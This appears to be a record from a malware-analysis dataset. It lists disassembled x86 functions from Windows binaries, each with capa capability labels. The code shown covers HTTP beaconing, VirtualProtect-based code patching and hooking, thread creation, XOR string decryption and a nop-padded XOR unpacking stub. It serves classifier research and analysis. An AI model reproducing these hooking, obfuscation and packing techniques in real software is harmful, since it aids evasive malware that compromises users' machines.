joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10017cf0
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x1003a018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x18]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
lea edx, [ebp - 0x230]
mov dword [ebp - 0x220], eax
push edx
lea eax, [ebp - 0x20c]
push eax
push 0
mov dword [ebp - 0x228], ecx
mov dword [ebp - 0x230], 0x200
call dword [sym.imp.urlmon.dll_ObtainUserAgentString]
lea ecx, [ebp - 0x21c]
push ecx
lea edx, [ebp - 0xc]
push 5
push edx
mov dword [ebp - 0x21c], 0x544547
call dword [sym.imp.MSVCR100.dll_strcpy_s]
add esp, 0xc
push 0
push 0
push 0
push 1
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x22c], eax
test eax, eax
je 0x10017e7e
push 0
push 0
push 3
push 0
push 0
push 0x50
push esi
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
mov dword [ebp - 0x224], esi
test esi, esi
je 0x10017e71
mov ecx, 0x100345b4
sub ecx, 0x25eafdfb
lea eax, [ebp - 0x218]
call fcn.10024a60
push 0
push 0x8404f700
push 0
push 0
push eax
push edi
lea ecx, [ebp - 0xc]
push ecx
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
xor eax, eax
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], eax
mov byte [ebp - 0x210], al
test esi, esi
je 0x10017e6b
mov edi, dword [ebp - 0x220]
xor edx, edx
test edi, edi
je 0x10017e10
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10017e05
sub eax, edx
mov edx, eax
xor eax, eax
test ebx, ebx
je 0x10017e2e
mov eax, ebx
lea ecx, [eax + 1]
mov dword [ebp - 0x220], ecx
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10017e21
sub eax, dword [ebp - 0x220]
push edx
push edi
push eax
push ebx
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
mov edi, dword [ebp - 0x228]
lea edx, [ebp - 0x21c]
push edx
push 0x64
push edi
push esi
mov dword [ebp - 0x21c], 0x64
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 0x21c]
push esi
mov byte [edi + eax], 0
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esi, dword [ebp - 0x224]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x22c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10029640
mov esp, ebp
pop ebp
ret 0x14
Function at 0x1001fc50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x1003ced4]
test eax, eax
je 0x1001fc62
mov ecx, dword [eax + 2]
jmp 0x1001fc64
xor ecx, ecx
mov ecx, dword [ecx]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [0x1003ccd4], ecx
mov dword [0x1003ccd0], 0x1001fc20
mov dword [0x1003c0c4], 0x1003ccd0
xor esi, esi
jmp 0x1001fc95
mov eax, dword [0x1003ced4]
lea edx, [ebp - 4]
push edx
push 0x40
push 1
lea eax, [eax + esi + 2]
push eax
call edi
mov ecx, dword [0x1003ced4]
mov dl, byte [esi + 0x1003c0c4]
lea eax, [ecx + esi + 2]
lea ecx, [ebp - 4]
push ecx
mov byte [eax], dl
mov edx, dword [ebp - 4]
push edx
push 1
push eax
call edi
inc esi
cmp esi, 3
jle 0x1001fc90
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1001ff00
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1003a018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push str.xxxxxxx____xxx_
push 0x1003556c
push 0x128000
mov ecx, 0x42ce1366
lea eax, [ebp - 0x10]
call fcn.10028720
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call edi
push eax
call fcn.100034b0
mov esi, eax
xor eax, eax
add esp, 0x10
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], al
push str.xxxxxxxxx
lea eax, [esi + 6]
push 0x10035594
mov dword [0x100402fc], eax
push 0x128000
mov ecx, 0x42ce1366
lea eax, [ebp - 0x1c]
call fcn.10028720
push eax
call edi
push eax
call fcn.100034b0
xor ecx, ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov byte [ebp - 0x14], cl
add esp, 0x10
lea ecx, [eax + 6]
mov dword [0x1003ebcc], ecx
test esi, esi
je 0x1001ffb1
mov ecx, 0x1001fa20
mov edx, esi
call fcn.10007e90
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10029640
mov esp, ebp
pop ebp
ret
test eax, eax
je 0x1001ffd1
mov ecx, 0x1001fa40
mov edx, eax
call fcn.10007e90
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10029640
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 0x1001fee0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10029640
mov esp, ebp
pop ebp
ret
Function at 0x10020000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
cmp byte [ebx], 0x6a
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
jne 0x10020063
test esi, esi
je 0x10020040
lea eax, [ebp + 8]
push eax
push 0x80
push 7
push esi
call edi
push 7
push ebx
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov edx, dword [ebp + 8]
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push edx
push 7
push esi
call edi
mov ecx, dword [ebp + 0xc]
add ecx, 7
lea edx, [esi + 7]
call fcn.10007c40
test esi, esi
je 0x100200ac
lea eax, [ebp + 8]
push eax
push 0x40
push 5
push esi
call edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x1002008f
lea ecx, [ebp + 8]
push ecx
push 0x80
push 5
push esi
call edi
push 5
push ebx
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov eax, dword [ebp + 8]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push 5
push esi
call edi
mov ecx, dword [ebp + 0xc]
add ecx, 5
lea edx, [esi + 5]
call fcn.10007c40
test esi, esi
je 0x100200ac
lea ecx, [ebp + 8]
push ecx
push 0x40
push 7
push esi
call edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100200c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push 0x64
call fcn.100295fe
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 4
cmp byte [edi], 0x6a
mov esi, eax
jne 0x1002012d
test esi, esi
je 0x1002010b
lea eax, [ebp - 4]
push eax
push 0x80
push 7
push esi
call ebx
push 7
push edi
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov edx, dword [ebp - 4]
add esp, 0xc
lea ecx, [ebp - 8]
push ecx
push edx
push 7
push esi
call ebx
lea ecx, [edi + 7]
lea edx, [esi + 7]
call fcn.10007c40
test esi, esi
je 0x10020173
lea eax, [ebp - 8]
push eax
push 0x40
push 5
push esi
call ebx
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x10020159
lea ecx, [ebp - 4]
push ecx
push 0x80
push 5
push esi
call ebx
push 5
push edi
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 8]
push edx
push eax
push 5
push esi
call ebx
lea ecx, [edi + 5]
lea edx, [esi + 5]
call fcn.10007c40
test esi, esi
je 0x10020173
lea ecx, [ebp - 8]
push ecx
push 0x40
push 7
push esi
call ebx
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10020ab0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x10020af8
mov edx, dword [ebp + 8]
push esi
mov dword [0x1003ccbc], edx
call fcn.10008050
mov esi, edx
call fcn.100080c0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10018ab0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x100205b0
push 0
push 0
call esi
pop esi
mov eax, 1
pop ebp
ret 0xc
Function at 0x10022e40
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002a578
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1003a018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [edi + 0x44], 0
je 0x10022f4d
cmp byte [edi + 0x49], 0
je 0x10022f4d
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, edi
call edx
cmp eax, 0xffffffff
je 0x10022f41
lea esi, [ebp - 0x2c]
call fcn.100226b0
mov dword [ebp - 4], 0
lea ebx, [edi + 0x4c]
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x18]
lea ebx, [ebx]
mov ecx, eax
cmp edx, 0x10
jae 0x10022ebc
lea ecx, [ebp - 0x2c]
mov eax, ecx
add ecx, dword [ebp - 0x1c]
lea edx, [ebp - 0x30]
push edx
push ecx
mov ecx, dword [edi + 0x44]
push eax
push ebx
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x10022ee1
dec eax
je 0x10022ee5
sub eax, 2
lea ecx, [ebp - 0x2c]
jne 0x10022f3c
jmp 0x10022f48
mov byte [edi + 0x49], 0
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp edx, 0x10
jae 0x10022ef5
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, ecx
je 0x10022f1f
cmp edx, 0x10
jae 0x10022f04
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x10022f39
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [edi + 0x49], 0
je 0x10022f45
test esi, esi
jne 0x10022eb0
push esi
push 8
lea esi, [ebp - 0x2c]
call fcn.10022780
jmp 0x10022ea4
lea ecx, [ebp - 0x2c]
call fcn.10020b80
xor al, al
jmp 0x10022f4f
lea ecx, [ebp - 0x2c]
call fcn.10020b80
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10029640
mov esp, ebp
pop ebp
ret

Function at 0x100252b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 2
xor ecx, ecx
jmp 0x100252c0
mov al, byte [edi + ecx - 0x69143128]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x100252dd
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xb
jl 0x100252c0
mov byte [esi + 0xb], 0
mov eax, esi
ret

Function at 0x10025330
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x3a
xor ecx, ecx
jmp 0x10025340
mov al, byte [edi + ecx + 0x23832de2]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1002535d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x10025340
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x10025720
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 2
xor ecx, ecx
jmp 0x10025730
mov al, byte [edi + ecx - 0x39ae069c]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1002574d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x10025730
mov byte [esi + 0xc], 0
mov eax, esi
ret
Function at 0x10025aa0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x83
xor ecx, ecx
jmp 0x10025ab0
mov al, byte [edi + ecx - 0x5127c690]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x10025acd
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x10025ab0
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x100263e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 2
xor ecx, ecx
jmp 0x100263f0
mov al, byte [edi + ecx + 0x2058b1a8]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1002640d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xe
jl 0x100263f0
mov byte [esi + 0xe], 0
mov eax, esi
ret

Function at 0x10027650
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 2
xor ecx, ecx
jmp 0x10027660
mov al, byte [edi + ecx + 0x430e1834]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1002767d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xb
jl 0x10027660
mov byte [esi + 0xb], 0
mov eax, esi
ret

Function at 0x10027690
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0xcd
xor ecx, ecx
jmp 0x100276a0
mov al, byte [edi + ecx - 0x48c4e783]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x100276bd
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x100276a0
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x10027710
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x9c
xor ecx, ecx
jmp 0x10027720
mov al, byte [edi + ecx - 0x43f25fd6]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1002773d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x10027720
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x100279a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0xcb
xor ecx, ecx
jmp 0x100279b0
mov al, byte [edi + ecx + 0x7f8132e4]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x100279cd
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x100279b0
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x100279e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0xf5
xor ecx, ecx
jmp 0x100279f0
mov al, byte [edi + ecx + 0x4f58ab13]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x10027a0d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x100279f0
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x10027e40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x8a
xor ecx, ecx
jmp 0x10027e50
mov al, byte [edi + ecx - 0x33cb387a]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x10027e6d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x10027e50
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x10027f20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x24
xor ecx, ecx
jmp 0x10027f30
mov al, byte [edi + ecx - 0x84e0d15]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x10027f4d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x10027f30
mov byte [esi + 0xc], 0
mov eax, esi
ret
Function at 0x10028130
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x6f
xor ecx, ecx
jmp 0x10028140
mov al, byte [edi + ecx + 0x57c2b695]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1002815d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x10028140
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x100294c0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002b948
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x1003a018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0x10
mov byte [ebp - 0x7c], al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
jae 0x10029522
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 0x18]
lea esi, [ebp - 0x7c]
call fcn.10029280
mov ecx, esi
call fcn.10029330
mov eax, esi
push eax
mov ecx, edi
call fcn.10029410
cmp dword [ebp + 0x1c], 0x10
jb 0x10029552
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10029640
mov esp, ebp
pop ebp
ret

Function at 0x10029640
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1003a018]
jne 0x1002964a
repz ret
jmp fcn.10029c19
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x3f5b2333
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x60286740
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x404a60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
cmp dword [ecx + 0x38], 0
push ebx
push esi
push edi
mov dword [esp + 0xc], ecx
je 0x404b46
mov esi, dword [ebp + 0x10]
mov ebx, esi
mov edx, dword [ebp + 0xc]
mov edi, edx
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
test esi, esi
jl 0x404b35
jg 0x404aa0
test edx, edx
je 0x404b35
nop dword [eax]
call fcn.004063c0
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x404af4
jg 0x404ab7
test esi, esi
je 0x404af4
cmp ebx, eax
jg 0x404ac7
jl 0x404ac1
cmp edi, esi
jae 0x404ac7
mov esi, edi
mov dword [esp + 0x14], ebx
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
push esi
push eax
mov eax, dword [ecx + 0x20]
push dword [eax]
call fcn.004097d0
mov ecx, dword [esp + 0x18]
add esp, 0xc
sub edi, esi
sbb ebx, dword [esp + 0x14]
mov eax, dword [ecx + 0x30]
sub dword [eax], esi
mov eax, dword [ecx + 0x20]
add dword [eax], esi
jmp 0x404b19
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
mov edx, dword [ecx]
movzx eax, byte [eax]
push eax
call dword [edx + 0xc]
cmp eax, 0xffffffff
je 0x404b2f
mov ecx, dword [esp + 0xc]
add edi, 0xffffffff
mov esi, 1
adc ebx, 0xffffffff
add dword [esp + 0x10], esi
test ebx, ebx
jg 0x404aa0
jl 0x404b2f
test edi, edi
jne 0x404aa0
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
sub edx, edi
mov eax, edx
sbb esi, ebx
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ecx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x10], eax
test eax, eax
je 0x404b68
mov eax, dword [ecx + 0x30]
mov eax, dword [eax]
jmp 0x404b6a
xor eax, eax
cdq
mov ebx, eax
mov eax, edx
mov dword [esp + 0x14], eax
test edi, edi
jl 0x404be8
jg 0x404b7d
test esi, esi
je 0x404be8
test eax, eax
jl 0x404bcc
jg 0x404b87
test ebx, ebx
je 0x404bcc
cmp edi, eax
jg 0x404b97
jl 0x404b91
cmp esi, ebx
jae 0x404b97
mov ebx, esi
mov dword [esp + 0x14], edi
push ebx
push dword [ebp + 8]
push dword [esp + 0x18]
call fcn.004097d0
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
sub esi, ebx
sbb edi, dword [esp + 0x14]
add edx, ebx
mov eax, dword [ecx + 0x30]
sub dword [eax], ebx
mov eax, dword [ecx + 0x20]
add dword [eax], ebx
test edi, edi
jl 0x404be8
jg 0x404bcf
test esi, esi
je 0x404be8
jmp 0x404bcf
mov edx, dword [ebp + 8]
mov eax, dword [ecx + 0x4c]
test eax, eax
je 0x404be8
push eax
push esi
push 1
push edx
call fcn.0040f4d0
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x404c00
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x404c32
jl 0x404c25
test ecx, ecx
jne 0x404c32
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x404cf2
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.004063e0
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x404c9e
jg 0x404c5d
test esi, esi
je 0x404c9e
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x404c75
mov eax, dword [esp + 0x10]
jl 0x404c6f
cmp eax, esi
jae 0x404c75
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.004097d0
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x404cbf
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x404cdb
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x404c44
jl 0x404cdb
test ecx, ecx
jne 0x404c44
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov ecx, dword [ebp + 0x10]
sbb ecx, edx
mov edx, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x404d31
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x404d31
mov edi, dword [esp + 0xc]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push edi
call fcn.004097d0
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [esp + 0x18], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
cmp dword [ebx + 0x4c], 0
mov ecx, edi
je 0x404da0
mov esi, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [esi], eax
jne 0x404d57
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [esi], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
mov ecx, edi
cmp edi, 0xfff
jbe 0x404d89
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.0040fb27
sub edi, eax
add esp, 0x10
add esi, eax
mov ecx, edi
cmp eax, 0xfff
jne 0x404db4
cmp edi, eax
ja 0x404d65
test ecx, ecx
je 0x404da0
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.0040fb27
mov ecx, edi
add esp, 0x10
sub ecx, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, ecx
sbb edx, 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc